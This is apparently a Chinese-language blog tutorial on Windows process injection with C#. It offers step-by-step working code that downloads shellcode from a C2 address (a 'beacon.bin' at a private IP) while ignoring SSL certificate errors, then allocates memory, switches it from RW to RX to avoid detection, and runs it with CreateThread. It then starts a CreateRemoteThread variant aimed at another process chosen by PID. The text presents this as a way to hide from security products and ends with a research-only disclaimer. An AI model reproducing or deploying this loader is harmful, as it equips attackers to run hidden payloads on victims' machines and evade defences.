进程注入技术一直以来都是一个老生常谈的话题。这是一种广泛应用于恶意软件和无文件攻击中的逃避技术,这意味着攻击者可以将自定义代码运行在另一个进程的地址空间内,然后去进行敏感操作,以达到隐藏自身,绕过安全产品检测的目的。
CreateThread API
可以在调用进程过程中创建新线程,因此我们可以把shellcode注入到进程中。这也是最简单和最基本的注入类型之一。我们可以使用HttpClient
类从我们的C2下载shellcode。然后将其封装在using语句中或调用Dispose()方法。同时我们还必须使用ServerCertificateCustomValidationCallback
来忽略签名SSL错误。
static async Task Main(string[] args)
{
byte[] shellcode; using (var handler = new HttpClientHandler())
{
//忽略ssl
handler.ServerCertificateCustomValidationCallback = (message, cert, chain, sslPolicyErrors) => true;
using (var client = new HttpClient(handler))
{
shellcode = await client.GetByteArrayAsync("https://192.168.2.151/beacon.bin");
}
}
}
然后使用VirtualAlloc
在此进程中分配新的内存区域。这个区域的空间大小必须能够容纳shellode,所以我们可以使用shellcode的长度作为参数。这个API通常会向上取整。(区域分配RW权限,以便避免RWX)。
// 将内存区域分配为RW
var baseAddress = Win32.VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
Win32.MemoryProtection.ReadWrite);
将shellcode复制到此区域,我们可以使用诸如WriteProcessMemory
等API,这里以Marshal.Copy为例。
// 复制shellcode到内存区域
Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length);
在我们运行shellcode之前,我们必须将这个区域的内存保护从RW转变为RX。因为VirtualProtect
采用了新的内存保护,并会弹出当前的保护。这里使用**_** 来处理它。
// 将内存区域转变为为RX
Win32.VirtualProtect(
baseAddress,
(uint)shellcode.Length,
Win32.MemoryProtection.ExecuteRead,
out _);
现在便可以运行我们的shellcode了
// 运行shellcode
var hThread = Win32.CreateThread(
IntPtr.Zero,
0,
baseAddress,
IntPtr.Zero,
0,
out _);
因为CreateThread
不会阻塞调用,所以我们为了防止进程退出,我们可以使用WaitForSingleObject
去wait这个线程。它将在线程运行期间进行阻塞,达到防止进程退出的目的。
// 在此线程上无限等待以防止进程退出
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
结果如下:
CreateRemoteThread
的行为方式与CreateThread
大致相同,但是它允许我们在自己的进程之外的进程中启动线程。这可以让我们将shellcode注入到不同的进程中。注入步骤实际上与前面的大差不差,只是我们使用的API有所不同。
我们可以把某个进程的PID用作目标进程。要打开目标进程的句柄,可以使用OpenProcess
API或.NETProcess
类。
using System.Diagnostics;namespace CreateRemoteThread
{
internal class Program
{
static void Main(string[] args)
{
var process = Process.GetProcessById(1234);
}
}
}
当然,我们也可以手动选择我们要注入的PID
var pid = int.Parse(args[0]);
var process = Process.GetProcessById(pid);
这里我们以一个记事本为例,这里记事本的PID为96
运行后结果如下:
本文简单介绍了进程注入的知识,CreateThread和CreateRomoteTread在使用起来大同小异,实现的逻辑却有所不同。后面将会跟进一篇文章,继续介绍进程注入。 注:本文仅用于安全研究和学习之用